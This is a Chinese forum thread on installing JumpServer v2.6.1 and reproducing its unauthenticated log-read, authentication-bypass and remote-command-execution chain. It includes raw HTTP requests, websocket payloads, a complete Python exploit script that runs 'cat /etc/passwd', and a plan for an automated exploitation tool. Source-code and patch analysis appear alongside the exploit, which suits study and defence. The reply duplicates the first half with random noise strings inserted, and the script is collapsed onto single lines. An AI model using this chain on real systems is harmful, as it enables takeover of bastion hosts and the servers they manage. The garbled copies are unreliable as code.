找回密码
 注册
查看: 447|回复: 1

jumpserver安装使用,远程应用工具

[复制链接]

1

主题

0

回帖

12

积分

管理员

积分
12
QQ
发表于 2023-3-7 15:00:04 | 显示全部楼层 |阅读模式
下载安装包
# git clone https://github.com/jumpserver/installer.git# cd installer?
国内docker源加速安装
# export DOCKER_IMAGE_PREFIX=docker.mirrors.ustc.edu.cn# ./jmsctl.sh install
升级到指定版本
# ./jmsctl.sh upgrade v2.6.1
启动服务
#?./jmsctl.sh start#?./jmsctl.sh restart
环境配置
Jumpserver v2.6.1版本,访问服务正常,默认管理员账户admin/admin,初次登录须改密码。
1.添加管理用户。
资产管理里面的"管理用户"是jumpserver用来管理资产需要的服务账户,Jumpserver使用该用户来 '推送系统用户'、'获取资产硬件信息'等。
2.“资产列表”中添加资产
测试资产可连接性,保证资产存活
3.创建系统用户
系统用户是 Jumpserver 跳转登录资产时使用的用户,可以理解为登录资产的用户。
配置“登录方式”为自动登录
4.创建资产授权
5.使用“Web终端”连接资产
为保证漏洞复现顺利进行,需要在Web终端中连接某资产。
Web终端以root用户名登录机器。
若配置的登录模式为“手动登录”,所以需要输入密码进行连接。
"自动登录"则可调用系统预留密码直接连接。
0x02漏洞利用日志文件读取
系统中/ws/ops/tasks/log/接口无身份校验,可直接与其建立websocket连接,当为“task”参数赋值为具体文件路径时,可获取其文件内容。系统接收文件名后会自动添加.log后缀,所以只能读取.log类型的日志文件。
默认/opt/jumpserver/logs/ 下存放日志文件,包含jumpserver.log、gunicorn.log、dapgne.log等。
gunicorn是常用的WSGI容器之一,用来处理Web框架和Web服务器之间的通信,gunicorn.log是API调用历史记录比较全的日志文件。
利用/ws/ops/tasks/log/接口查看/opt/jumpserver/logs/gunicorn.log文件内容,由于系统会自动添加.log后缀,故无须添加文件后缀,目标路径为 "/opt/jumpserver/logs/gunicorn" 即可。
ws://192.168.18.182:8080/ws/ops/tasks/log/{"task":"/opt/jumpserver/logs/gunicorn"}
在日志中寻找有用数据,其中/api/v1/perms/asset-permissions/user/validate接口的请求记录值得注意,这个API是用来验证用户的资产控制权限的。由于web终端连接资产时会对用户所属资产权限进行校验,调用了这个接口,故会留下日志记录。其中asset_id、system_user_id、user_id参数值可以被利用。
asset_id=fac9cfc0-b8f1-4aa5-9893-b8f5cdc8de0fsystem_user_id=a893cb8f-26f7-41a8-a983-1de24e7c3d73user_id=f26371c9-18c3-4c4e-979f-95d34ffdb911认证绕过+获取token
/api/v1/authentication/connection-token/接口和/api/v1/users/connection-token/接口均可通过user-only参数绕过权限认证。
两接口对数据的处理逻辑一致,其中post请求处理函数要求data数据中携带"user"、"asset"、"system_user"参数,同时系统自动生成一个20s有效期的token,收到合法请求会将这个token返回。
上文从日志中获取到的三个参数值可以用在这里,分别赋值给post请求要求的data中的"user"、"asset"、"system_user"参数,同时在URL中添加user-only参数来绕过认证,最终获得一个20s有效期的token。
POST /api/v1/authentication/connection-token/?user-only=Veraxy HTTP/1.1Host: 192.168.18.182:8080User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.14; rv:84.0) Gecko/20100101 Firefox/84.0Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2Accept-Encoding: gzip, deflateConnection: closeCookie: csrftoken=GsRQYej2Fr3uk3xU9OPfZREl8Wn7xCXPqLSWQGIILIk7uz7izdqojUgYQ5UhG04j; jms_current_role=146; jms_current_org=%7B%22id%22%3A%22DEFAULT%22%2C%22name%22%3A%22DEFAULT%22%7DUpgrade-Insecure-Requests: 1Content-Type: application/x-www-form-urlencodedContent-Length: 133user=f26371c9-18c3-4c4e-979f-95d34ffdb911&asset=fac9cfc0-b8f1-4aa5-9893-b8f5cdc8de0f&system_user=a893cb8f-26f7-41a8-a983-1de24e7c3d73
上图请求接口替换成/api/v1/users/connection-token/达到的目的一样
远程命令执行
系统/koko/ws/token/接口要求"target_id"参数,携带合法"target_id"参数即可利用该接口建立TTY通信。
上文通过/api/v1/authentication/connection-token/接口获得的20s有效期的token可作为/koko/ws/token/接口的有效"target_id"参数值,从而建立websocket会话。
ws://192.168.18.182:8080/koko/ws/token/?target_id=0a14ec3d-312f-44e0-8224-da1a4151f32e
借助脚本进行websocket通信
import asyncioimport websocketsimport requestsimport jsonurl = "/api/v1/authentication/connection-token/?user-only=None"# 向服务器端发送认证后的消息async def send_msg(websocket,_text):    if _text == "exit":        print(f'you have enter "exit", goodbye')        await websocket.close(reason="user exit")        return False    await websocket.send(_text)    recv_text = await websocket.recv()    print(f"{recv_text}")# 客户端主逻辑async def main_logic(cmd):    print("###start ws")    async with websockets.connect(target) as websocket:        recv_text = await websocket.recv()        print(f"{recv_text}")        resws=json.loads(recv_text)        id = resws['id']        print("get ws id:"+id)        print("#######1########")        print("init ws")        print("#######2########")        inittext = json.dumps({"id": id, "type": "TERMINAL_INIT", "data": "{\"cols\":234,\"rows\":13 }"})        await send_msg(websocket,inittext)        print("########3#######")        print("exec cmd: ls")        cmdtext = json.dumps({"id": id, "type": "TERMINAL_DATA", "data": cmd+"\r\n"})        print(cmdtext)        await send_msg(websocket, cmdtext)        for i in range(20):            recv_text = await websocket.recv()            print(f"{recv_text}")        print('###finish')if __name__ == '__main__':    host = "http://192.168.18.182:8080"    cmd="cat /etc/passwd"    if host[-1]=='/':        host=host[:-1]    print(host)    data = {"user": "f26371c9-18c3-4c4e-979f-95d34ffdb911", "asset": "fac9cfc0-b8f1-4aa5-9893-b8f5cdc8de0f",            "system_user": "a893cb8f-26f7-41a8-a983-1de24e7c3d73"}    print("##################")    print("get token url:%s" % (host + url,))    print("##################")    res = requests.post(host + url, json=data)    token = res.json()["token"]    print("token:%s", (token,))    print("##################")    target = "ws://" + host.replace("http://", '') + "/koko/ws/token/?target_id=" + token    print("target ws:%s" % (target,))    asyncio.get_event_loop().run_until_complete(main_logic(cmd)
成功执行 "cat /etc/passwd" 命令
利用条件
1.web终端登录方式为免密自动连接。
若配置为需要输入密码的手动登录,只有在攻击者已知目标资产登录密码(不现实),或此时系统用户与目标资产的会话连接未中断,从而让攻击者有机会复用SSH会话,漏洞利用成功,显然这种配置下漏洞利用大多失败。
当系统用户退出登录,由于没有可复用会话了,系统要求重新输入密码,否则无法建立连接。漏洞利用失败。
只有在系统用户登录模式配置为“自动登录”,即系统用户使用web终端操作时资产无须输入密码
,可直接建立连接(某些情况下需要“自动推送”系统用户至资产才能实现免密连接),这种配置下,该漏洞才可被攻击者稳定利用。
开启自动登录和自动推送。
如果选择了自动推送, Jumpserver 会使用 Ansible 自动推送系统用户到资产中。
此时连接web终端不需要输入密码了,直接利用系统用户预存的密码建立连接。
这时我中断会话,再次测试,成功执行命令,此时不是复用SSH连接,而是直接连接,建立会话,从而执行命令。
jumpserver通常的配置都是自动登录的,这一条件容易满足。
2.系统用户在web终端与目标资产建立过连接。
只有系统用户在web终端访问过目标资产,才能在日志中留下访问记录,我们与目标建立连接的必要参数均在日志中获取。
3.系统日志路径已知
系统日志路径默认为/opt/jumpserver/logs,一些项目刻意修改日志路径会使得漏洞难以利用。
攻击流程回顾
1.未授权的情况下通过 /ws/ops/tasks/log/ 接口建立websocket连接,读取日志文件
2.在日志文件中获取到用户、资产字段值、系统用户(user_id、asset_id、system_user_id)
3.携带这三个字段对 /api/v1/authentication/connection-token/ 或/api/v1/users/connection-token/接口发起POST请求(同时借助user-only参数绕过认证),得到一个20S有效期的token
4.通过该token与/koko/ws/token/接口建立websocket连接,模拟Web终端通信,执行命令。
0x03漏洞分析日志文件读取
读取日志文件的接口为ws/ops/tasks/log/
分析apps/ops/ws.py#CeleryLogWebsocket,connect()方法定义该接口直接连接,无认证
receive()方法要求请求data要携带task参数,随后会将“task”值传给handle_task()
self.handle_task(task_id)
-->self.read_log_file(self,task_id)
-->self.wait_util_log_path_exist(task_id)
--> get_celery_task_log_path(task_id),获取目标文件路径的方法,系统自动为路径末尾添加.log后缀,也就是只能读取到日志文件。
这里也是“task”参数值中的文件路径无须携带.log后缀的原因。
当系统连接资产时,会调用 validatePermission() 方法检查用户是否有权限连接,通过三个参数进行校验,分别为用户ID、资产ID、系统用户ID,三个参数值长期有效,可被进一步利用。
对应的接口是/api/v1/perms/asset-permissions/user/validate,请求记录均可在日志文件中找到
绕过身份验证获取token
apps/authentication/api/auth.py,请求url中存在'user-only'参数且有值,则其权限为AllowAny,即允许访问。
分析apps/authentication/api/auth.py#UserConnectionTokenApi类,可处理get、post请求。
get请求处理函数取URL中"token"和"user-only"参数,合法请求会根据token返回user信息。
post请求处理函数要求data数据中携带"user"、"asset"、"system_user"参数,同时系统自动生成一个20s有效期的token,合法请求会将这个token返回。
apps/authentication/api/auth.py#UserConnectionTokenApi类有哪些地方使用,共两处
刚好是官方公布的接口,这两个接口数据处理逻辑一致,所以利用的时候两者均可得到token。
/api/v1/authentication/connection-token//api/v1/users/connection-token/
Web Terminal 前端项目 luna/src/app/services/http.ts 中有对/api/v1/users/connection-token/接口的Get请求代码,这里携带不为空的user-only参数,是为了获取token对应的用户身份所有信息而不是单个字段。 https://github.com/jumpserver/luna/blob/6e1f04901ecc466a9412ca995810595497e93625/src/app/services/http.ts
websocket建立TTY终端会话
这个漏洞是通过websocket通信建立TTY终端,从而执行命令。
JumpServer中KoKo项目提供 Web Terminal 服务,分析系统中可建立TTY会话的几种方式。
建立TTY会话主要通过koko/pkg/httpd/webserver.go中runTTY() 实现
只有两个接口可以进入runTTY()方法,分别是processTerminalWebsocket和processTokenWebsocket方法
对应API为/koko/ws/terminal/ 和 /koko/ws/token/ ,接口handler位于koko/pkg/httpd/webserver.go#websocketHandlers()
/koko/ws/terminal/
系统中通过“会话管理”下“web终端”功能连接资产时,使用的是 /koko/ws/terminal/ 接口
ws://192.168.18.182:8080/koko/ws/terminal/?target_id=fac9cfc0-b8f1-4aa5-9893-b8f5cdc8de0f&type=asset&system_user_id=a893cb8f-26f7-41a8-a983-1de24e7c3d73
进行websocket通信
processTerminalWebsocket函数处理 /koko/ws/terminal/ 接口,要通过这个接口成功登录控制台需要一些必备参数,包括type、target_id、system_user_id,其中target_id为目标资产ID,system_user_id表示系统用户id。
注意:/koko/ws/terminal/ 接口的target_id与/koko/ws/token/ 接口的target_id虽然参数名一样,但却是两个完全不同的东西。
系统对 /koko/ws/terminal/ 接口通过?middleSessionAuth() 进行会话合法校验。
注意到 /koko/ws/token/ 接口却是无此类限制的。
/koko/ws/token/
/koko/ws/token/ 接口的处理函数位于koko/pkg/httpd/webserver.go#processTokenWebsocket,要求get请求携带“target_id”参数,系统会将该参数传递给 service.GetTokenAsset() 方法,获取token对应的user,从而建立TTY会话。
发现 GetTokenAsset() 是将“/api/v1/authentication/connection-token/?token=”与token值进行拼接,并发起Get请求,来获取用户身份的。
上文分析过 /api/v1/authentication/connection-token/ 接口,Get请求处理函数中定义,若仅携带有效token,则返回该用户所有信息,若同时携带token和不为None的user-only,则返回用户信息中的'user'字段值。
本次通信则是仅携带有效token,从而获取该用户所有身份信息。
综上,一个有效的“target_id”即可调用/koko/ws/token/ 接口进行websoket通信,从而建立TTY会话。
ws://192.168.18.182:8080/koko/ws/token/?target_id=845fad2b-6077-41cb-b4fd-1462cca1152d{"id":"8fd8b06e-dfd6-45b4-aeb7-9403d3a65cfa","type":"CONNECT","data":""}{"id":"8fd8b06e-dfd6-45b4-aeb7-9403d3a65cfa","type":"TERMINAL_INIT","data":"{\"cols\":140,\"rows\":6}"}
而这个有效的“target_id”则通过上一章节“身份验证绕过”中分析的 /api/v1/authentication/connection-token/ 或 /api/v1/users/connection-token/接口来获得,需要在20s有效期内将token替换为target_id参数值来使用。
补丁分析
漏洞整体分析下来,最关键的几个点,身份验证绕过以及websocket通信接口无校验,官方发布的新版本对其进行修复。
0x04关于websocket
WebSocket 协议诞生于 2008 年,在 2011 年成为国际标准,WebSocket 同样是 HTML 5 规范的组成部分之一。
HTTP 协议是半双工协议,也就是说在同一时间点只能处理一个方向的数据传输,通信只能由客户端发起,属于单向传输,一般通过 Cookie 使客户端保持某种状态,以便服务器可以识别客户端。
WebSocket的出现,使得浏览器和服务器之间可以建立无限制的全双工通信。WebSocket 协议是全双工的,客户端会先发起请求建立连接,若服务器接受了此请求,则将建立双向通信,然后服务器和客户端就可以进行信息交互了,直到客户端或服务器发送消息将其关闭为止。
WebSocket特点:
1.默认端口是80和443,并且握手阶段采用 HTTP 协议,因此握手时不容易屏蔽,能通过各种 HTTP 代理服务器。
2.可以发送文本,也可以发送二进制数据。
3.没有同源限制,客户端可以与任意服务器通信。
4.协议标识符是ws(如果加密,则为wss)
WebSocket通信
WebSocket并不是全新的协议,而是利用了HTTP协议来建立连接。
建立连接
客户端请求报文:
GET / HTTP/1.1Upgrade: websocketConnection: UpgradeHost: example.comOrigin: http://example.comSec-WebSocket-Key: sN9cRrP/n9NdMgdcy2VJFQ==Sec-WebSocket-Version: 13
Connection、Upgrade字段声明需要切换协议为websocket
2 }& H4 k$ J$ d: b7 j/ y7 ^" YSec-WebSocket-Key是由浏览器随机生成的,提供基本的防护,防止恶意或者无意的连接。4 K  n) [7 k. K; {( P$ c
Sec-WebSocket-Version表示 WebSocket 的版本,如果服务端不支持该版本,需要返回一个Sec-WebSocket-Versionheader,里面包含服务端支持的版本号。
服务端的响应报文:
HTTP/1.1 101 Switching ProtocolsUpgrade: websocketConnection: UpgradeSec-WebSocket-Accept: HSmrc0sMlYUkAGmm5OPpG2HaGWk=Sec-WebSocket-Protocol: chat
Upgrade消息头通知客户端确认切换协议来完成这个请求;
Sec-WebSocket-Accept是经过服务器确认,并且加密过后的Sec-WebSocket-Key;
Sec-WebSocket-Protocol则是表示最终使用的协议。
注意:Sec-WebSocket-Key/Sec-WebSocket-Accept的换算,其实并没有实际性的安全保障。
进行通信
服务端接收到客户端发来的Websocket报文需要进行解析。
数据包格式
Mask位表示是否要对数据载荷进行掩码异或操作。
Payload length表示数据载荷的长度。
Masking-key数据掩码,为防止早期版本的协议中存在的代理缓存污染攻击等问题而存在。
Payload Data为载荷数据。
服务端返回数据时不携带掩码,所以 Mask 位为 0,再按载荷数据的大小写入长度,最后写入载荷数据。
心跳
WebSocket为了保持客户端、服务端的实时双向通信,需要确保客户端、服务端之间的TCP通道没有断开。对于长时间没有数据往来的通道,但仍需要保持连接,可采用心跳来实现。
发送方->接收方:ping
接收方->发送方:pong
ping、pong的操作,对应的是WebSocket的两个控制帧,opcode分别是0x9、0xA。
关闭连接
关闭连接标志着服务器和客户端之间的通信结束,标记通信结束后,服务器和客户端之间无法进一步传输消息。
Web Terminal实现
通常所说的Terminal是指的终端模拟器,一般情况下终端模拟器是不会直接与shell通讯的,而是通过pty(Pseudoterminal,伪终端)来实现,pty 是一对 master-slave 设备。
终端模拟器通过文件读写流与 pyt master通讯,pty master再将字符输入传送给pty slave,pty slave进一步传递给bash执行。
Web Terminal则是实现在浏览器展示的终端模拟器,前后端建立WebSocket连接,保证浏览器和后端实时通信。
实现思路:
1.浏览器将主机信息传给后台, 并通过HTTP请求与后台协商升级协议,协议升级完成后, 得到一个和浏览器的web Socket连接通道! N/ x3 h7 g& w5 |1 U8 c
2.后台拿到主机信息, 创建一个SSH 客户端, 与远程主机的SSH 服务端协商加密, 互相认证, 然后建立一个SSH Channel
4 R2 u, Z: x; k* Q* [3.后台和远程主机有了通讯的信道,然后后台携带终端信息通过SSH Channel请求远程主机创建一对 pty, 并请求启动当前用户的默认 shell
. z% H! K$ ?8 W& C$ v4.后台通过 Socket连接通道拿到用户输入, 再通过SSH Channel将输入传给pty,pty将这些数据交给远程主机处理后,按照前面指定的终端标准输出到SSH Channel中, 同时键盘输入也会通过SSH Channel发送给远程服务端。1 k2 C1 X. k4 E" H8 A
5.后台从SSH Channel中拿到按照终端大小的标准输出,通过Socket通信将输出返回给浏览器,由此实现了Web Terminal
JumpServer中websocket通信基于https://github.com/gorilla/websocket项目实现,Web Terminal功能实现思路与上文描述基本一致,这里简述浏览器与后端进行websocket通信流程。
携带多个参数对 /koko/ws/terminal/ 接口发起Get请求,初次握手,提出Upgrade为Websocket协议
GET ws://192.168.18.182:8080/koko/ws/terminal/?target_id=fac9cfc0-b8f1-4aa5-9893-b8f5cdc8de0f&type=asset&system_user_id=a893cb8f-26f7-41a8-a983-1de24e7c3d73 HTTP/1.1Host: 192.168.18.182:8080Connection: UpgradePragma: no-cacheCache-Control: no-cacheUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.88 Safari/537.36Upgrade: websocketOrigin: http://192.168.18.182:8080Sec-WebSocket-Version: 13Accept-Encoding: gzip, deflateAccept-Language: zh-CN,zh;q=0.9,en;q=0.8Cookie: csrftoken=0ZhWpozQIlm3fpJZRKP0vWcEm32JOlSSbtTBYmqlnHgrSwlMgXdJW0hnx4qJrT5s; sessionid=lbfnuoizl0mnixrwyo036ze65z7vfip0; jms_current_org=%7B%22id%22%3A%22DEFAULT%22%2C%22name%22%3A%22DEFAULT%22%7D; X-JMS-ORG=DEFAULT; jms_current_role=146Sec-WebSocket-Key: Cuf/c4n9TH20PU4HpCP4qQ==Sec-WebSocket-Extensions: permessage-deflate; client_max_window_bitsSec-WebSocket-Protocol: JMS-KOKO
服务端识别有效字段,回应握手请求,同意upgrade为websocket协议,允许后续进行socket通信。
HTTP/1.1 101 Switching ProtocolsServer: nginxDate: Mon, 01 Feb 2021 17:29:47 GMTConnection: upgradeUpgrade: websocketSec-WebSocket-Accept: zdg0gD/H5Ev4u9hn5oIxlSVdvDg=Sec-WebSocket-Protocol: JMS-KOKO
注意到使用web终端功能时,系统主要发起两个请求,分别是
ws://192.168.18.182:8080/koko/ws/terminal/?target_id=fac9cfc0-b8f1-4aa5-9893-b8f5cdc8de0f&type=asset&system_user_id=a893cb8f-26f7-41a8-a983-1de24e7c3d73http://192.168.18.182:8080/koko/ ... 8-a983-1de24e7c3d73
实际进行sokcet通信的是/koko/ws/terminal/接口,/koko/terminal/接口是协调处理sokcet通信输入输出的数据,将结果与前端融合并展示给用户,提供一个可视终端的效果。
Websocket认证
即使用户经过了系统的认证,当与WebSocket接口进行socket连接时,同样需要再次认证。
一般Websocket的身份认证都是发生在握手阶段,客户端向验证请求中的内容,只允许经过身份验证的用户建立成功的Websocket连接。
可以通过基于cookie的传统方式,或基于Token的方式进行认证。
传统的基于cookie的方式
采用这种方式,应用本身的认证和提供WebSocket的服务,可以是同一套session cookie的管理机制,也可以WebSocket服务接口自己来维护基于cookie的认证。
Jumpserver系统Web终端的功能,调用的/koko/ws/terminal/接口就是采用这种方式。
ws://192.168.18.182:8080/koko/ws/terminal/?target_id=fac9cfc0-b8f1-4aa5-9893-b8f5cdc8de0f&type=asset&system_user_id=a893cb8f-26f7-41a8-a983-1de24e7c3d73
请求URL中携带的参数值 target_id、type、system_user_id 基本长期复用,接口主要依靠建立会话传送的Cookie来识别身份,这里的session cookie的管理机制与系统是共享的。
基于Token的方式
当客户端要与接口建立连接时,向http服务获取token,客户端作为初始握手的一部分携带有效token打开websocket连接,服务端验证token有效性合法性,认证通过则同意建立websocket会话连接。
漏洞执行命令利用的/koko/ws/token/接口采用的就是基于token方式进行认证
ws://192.168.18.182:8080/koko/ws/token/?target_id=845fad2b-6077-41cb-b4fd-1462cca1152d
接口取target_id参数值,识别参数值有效性及对应用户身份,认证通过则同意建立websocket连接。
认证方式对比
传统基于cookie的方式,若websocket接口与系统协调同一种共享的认证方式,造成websocket服务与应用服务的耦合性大,依赖性强。若websocket服务自己维护基于cookie的认证,它只是一个解决通信连接的服务,为此付出成本不小。综上,还是采用基于token的认证方式更加高效。
采用基于token的认证方式则需要考虑提供token服务的API安全性,如本文分析的漏洞,提供token的/connection-token接口存在认证绕过问题,攻击者通过绕过/connection-token接口的身份验证,获取token,在有效时间内可与目标建立websocket连接。
0x05利用工具编写思路
1.读取日志
根据上文漏洞利用的流程,需要先通过未授权的/ws/ops/tasks/log/接口读取日志文件/opt/jumpserver/logs/gunicorn.log ,其中包含大量的接口请求记录,我们需要提取/api/v1/perms/asset-permissions/user/validate/ 接口信息。
2.筛选可用资产
日志文件中提取出的数据为历史连接记录,但不一定可以被利用,需要对其进行连接测试,筛选出可被利用的资产。
3.执行命令
在可用资产列表中选择目标进行攻击,执行指定命令。
总结
1.通过未授权的 /ws/ops/tasks/log/ 接口读取日志文件,我们仅筛选了部分接口信息,日志中包含大量数据,还有更多利用价值。
4 I" r; _# ~3 y+ Z# z) L2.官方给出的漏洞影响版本不准确,部分版本由于接口认证方式问题不可被利用。' O6 d% |/ w: |" P
3.根据实际场景不同,漏洞利用工具还须继续改进,欢迎提出改进建议。
8 b0 s& |' b8 n

1

主题

0

回帖

12

积分

管理员

积分
12
QQ
 楼主| 发表于 2023-3-7 15:00:05 | 显示全部楼层
下载安装包: y- @# X6 O, s$ n  P) H
# B* R. U5 @% \+ C
# git clone https://github.com/jumpserver/installer.git0 J% C1 I* l5 e$ {6 `9 t
# cd installer?) a5 h) n5 s& g; N6 j7 ^% y
国内docker源加速安装6 o. h- H: z# n* U# K: L

8 s% Q2 a6 Z" m" P( e+ ^# export DOCKER_IMAGE_PREFIX=docker.mirrors.ustc.edu.cn
0 D) g- Z7 r0 u6 a# ./jmsctl.sh install' T( F2 x0 a$ Y0 p* F
升级到指定版本3 U  E! E- h' b% r6 A/ L+ |3 m! ^7 p

' q- j" C- m/ U9 |0 I# ./jmsctl.sh upgrade v2.6.1% ~  j8 b& l0 q2 E* E6 L) f
启动服务
& f0 {1 {, y: y3 S( m9 d. G6 G" a: ~' l
#?./jmsctl.sh start% ~4 R( U7 R8 n
#?./jmsctl.sh restart# W$ }$ G. Q$ b. i. ?
图片
2 m( K1 r0 v" ~; _
$ k1 h/ k/ z& _, c环境配置: Q7 i! ^9 m) ?9 V; ?$ X& }' J
Jumpserver v2.6.1版本,访问服务正常,默认管理员账户admin/admin,初次登录须改密码。; T. Z0 V) u7 d1 d, @. V+ q. ^
; e" g5 P% O- d0 }6 O
图片
0 O1 Z. P/ |. H3 F2 G& a/ g3 U: A7 A2 i. _) C3 P0 C
1.添加管理用户。
( u! q! ^& l) L, |% A* L" P2 ^6 G$ L' h# C& `
资产管理里面的"管理用户"是jumpserver用来管理资产需要的服务账户,Jumpserver使用该用户来 '推送系统用户'、'获取资产硬件信息'等。  Z6 G3 Q' v( j( b8 P8 d
6 W* A5 O: R& {$ ?9 C
图片' Q! c: }5 L) H) h$ F+ G0 w  K& {

& c0 U( e- D( C2.“资产列表”中添加资产
6 E$ ?; I/ X0 i, s: @$ U2 b: `: {' X  d0 r$ o
图片& S# F/ U4 N: a
; ?8 B7 G. P6 E! Q# V  {% y6 [- r
测试资产可连接性,保证资产存活8 X- b  V+ x! ^' L

8 |4 C2 X' k' U; I图片3 M' z( H/ Y* Q; e7 E# \
( b( [' c6 v/ Z# W  c
图片
$ a' I& v+ y0 {3 i. l8 F+ ]' _6 p
3.创建系统用户
0 q* b1 i. V+ T0 i
5 I0 x8 E/ V1 Z3 Y- q$ o# _系统用户是 Jumpserver 跳转登录资产时使用的用户,可以理解为登录资产的用户。
  X: x5 n$ H' \6 D) h4 P2 z# e8 E( L! X# A) h9 E# C: \3 O# F
图片
' x) Y/ G8 Q4 J5 h
2 B  \6 c. N7 X6 p: A0 A配置“登录方式”为自动登录
- K; P, k8 u" b, k9 R5 {5 u0 x8 g' V; M, p
图片
, e7 g7 R$ E5 P
# m. S5 e% G) h+ }4.创建资产授权
8 q# e! x; t. ^6 ?" V" t4 q
% d- i1 a5 O9 D  T图片
) n# H+ ^$ u0 l( I+ R
) a* O: j4 e1 j$ d" D6 d* G5.使用“Web终端”连接资产2 B3 k) z1 Y4 V$ G+ o4 g( [

/ y" Z1 O) B5 K! F7 i. B, o为保证漏洞复现顺利进行,需要在Web终端中连接某资产。) c, U* p2 _: u# ?

" x: f6 `' R7 ~9 k% Z% A: h: J% Z图片
% q9 Z' d( o5 @" s) a% n4 ], w" g* i; H+ ]1 g
Web终端以root用户名登录机器。
8 p6 i% H' e5 j
7 a5 o* @( Q- t+ O( a. m- u若配置的登录模式为“手动登录”,所以需要输入密码进行连接。/ S9 T% c7 N8 N9 ]8 W. S
( r$ \, E8 C0 U7 i2 r5 N/ u
图片
' R* J7 `4 U) m7 N0 d0 x+ R
! s0 }) x6 V8 E2 b$ S# U"自动登录"则可调用系统预留密码直接连接。9 i( O  d  G, q  j0 n2 I

; T8 x8 {. K* ?; g图片
/ S; C- F; _# [8 i# f% m* J, |; Q% U6 x/ V6 B( b
0x02漏洞利用, @+ H7 h1 _4 I
日志文件读取! L* {* y" B( x4 B9 Q" f8 H
系统中/ws/ops/tasks/log/接口无身份校验,可直接与其建立websocket连接,当为“task”参数赋值为具体文件路径时,可获取其文件内容。系统接收文件名后会自动添加.log后缀,所以只能读取.log类型的日志文件。; c4 S3 Z# N$ _
2 Q# _6 l$ _6 U. A3 C
默认/opt/jumpserver/logs/ 下存放日志文件,包含jumpserver.log、gunicorn.log、dapgne.log等。, M+ g( q( s: C! A
$ o2 @8 `9 _; }$ \/ s/ M5 k* b
图片
: W8 e8 _; R: v: [6 i3 T0 f0 X3 N1 N' s: I5 I
gunicorn是常用的WSGI容器之一,用来处理Web框架和Web服务器之间的通信,gunicorn.log是API调用历史记录比较全的日志文件。2 e4 B) x( h2 V* `" T
/ ~/ R' z1 J6 o1 M4 |
利用/ws/ops/tasks/log/接口查看/opt/jumpserver/logs/gunicorn.log文件内容,由于系统会自动添加.log后缀,故无须添加文件后缀,目标路径为 "/opt/jumpserver/logs/gunicorn" 即可。5 r1 ]3 I" q2 ?  l; a% Z1 j$ k

- ]  Y+ @- B7 G& uws://192.168.18.182:8080/ws/ops/tasks/log/0 q: x; J6 ^! w8 t5 |  b: ~4 B
{"task":"/opt/jumpserver/logs/gunicorn"}
' o" U: d, I. ^( j, y) ^/ l图片- d: o% q0 H1 ~  w" j

: [6 k& e2 J( N8 C8 z% I* q在日志中寻找有用数据,其中/api/v1/perms/asset-permissions/user/validate接口的请求记录值得注意,这个API是用来验证用户的资产控制权限的。由于web终端连接资产时会对用户所属资产权限进行校验,调用了这个接口,故会留下日志记录。其中asset_id、system_user_id、user_id参数值可以被利用。" H) R0 t" s  {2 y! v) k
' D4 @# s. p5 M" G  K$ c8 r: |3 t
asset_id=fac9cfc0-b8f1-4aa5-9893-b8f5cdc8de0f1 ]( T7 o0 W, ?
system_user_id=a893cb8f-26f7-41a8-a983-1de24e7c3d73
  _* i( z* Y/ o/ U& [user_id=f26371c9-18c3-4c4e-979f-95d34ffdb911
+ t7 |1 d8 K6 n7 f/ y, }3 Y( d  v认证绕过+获取token
) ^3 u: l! H8 L8 n7 b/api/v1/authentication/connection-token/接口和/api/v1/users/connection-token/接口均可通过user-only参数绕过权限认证。. b- b+ Z) R/ ]/ G( n2 j$ Q6 S$ y/ c+ [/ J
) V$ c2 ~! p2 C4 F
两接口对数据的处理逻辑一致,其中post请求处理函数要求data数据中携带"user"、"asset"、"system_user"参数,同时系统自动生成一个20s有效期的token,收到合法请求会将这个token返回。' d9 M- A9 ]/ m  l
8 z3 K- T5 Q/ }/ g/ K
图片* L+ X# ~. B3 e, q7 H
! a& ?. M+ \7 H
上文从日志中获取到的三个参数值可以用在这里,分别赋值给post请求要求的data中的"user"、"asset"、"system_user"参数,同时在URL中添加user-only参数来绕过认证,最终获得一个20s有效期的token。
2 V! O  Y: O% U& K( o* x, l' `
- g  S" y0 @, S- C' x) C# TPOST /api/v1/authentication/connection-token/?user-only=Veraxy HTTP/1.1
, V1 t2 a2 d' k. q' k( M+ M0 Q! G8 MHost: 192.168.18.182:8080, D4 L% f4 c( Z* u; t. C& v
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.14; rv:84.0) Gecko/20100101 Firefox/84.0' n& b9 C0 \* x% Q* `: ^
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8  Z# V' n+ `& {$ h  N
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
) O; Y/ l0 b* m: |Accept-Encoding: gzip, deflate
: G; }5 s! P7 VConnection: close& J% F* u9 P- f* f! C
Cookie: csrftoken=GsRQYej2Fr3uk3xU9OPfZREl8Wn7xCXPqLSWQGIILIk7uz7izdqojUgYQ5UhG04j; jms_current_role=146; jms_current_org=%7B%22id%22%3A%22DEFAULT%22%2C%22name%22%3A%22DEFAULT%22%7D$ @* j8 j) \8 Z
Upgrade-Insecure-Requests: 1# {) }6 m/ d' m% o) @
Content-Type: application/x-www-form-urlencoded
8 m& R; s1 |3 @5 W4 ]* [: `Content-Length: 133
( D" r$ n: x  T+ v- fuser=f26371c9-18c3-4c4e-979f-95d34ffdb911&asset=fac9cfc0-b8f1-4aa5-9893-b8f5cdc8de0f&system_user=a893cb8f-26f7-41a8-a983-1de24e7c3d73
* t1 `0 c! [! j  o' i" Y  Y& L图片! ~9 e7 i4 x- t

  q8 U7 H; F5 B' W# D4 Z6 {/ \% R% K上图请求接口替换成/api/v1/users/connection-token/达到的目的一样; A. z3 _+ L" m! N

4 }# r" K7 t' x8 K$ b6 U: ~图片
; v2 k- d1 Q) [6 h+ u
8 V' \, u! y. r0 H5 H. \) w9 Z远程命令执行# g1 n0 U9 `8 k* A% k, M+ z, {6 e
系统/koko/ws/token/接口要求"target_id"参数,携带合法"target_id"参数即可利用该接口建立TTY通信。
2 @: @; m- J1 g% _: L; [+ {( R( j. O) m0 A4 E- ~$ Q3 A5 ]: G4 x  O. z
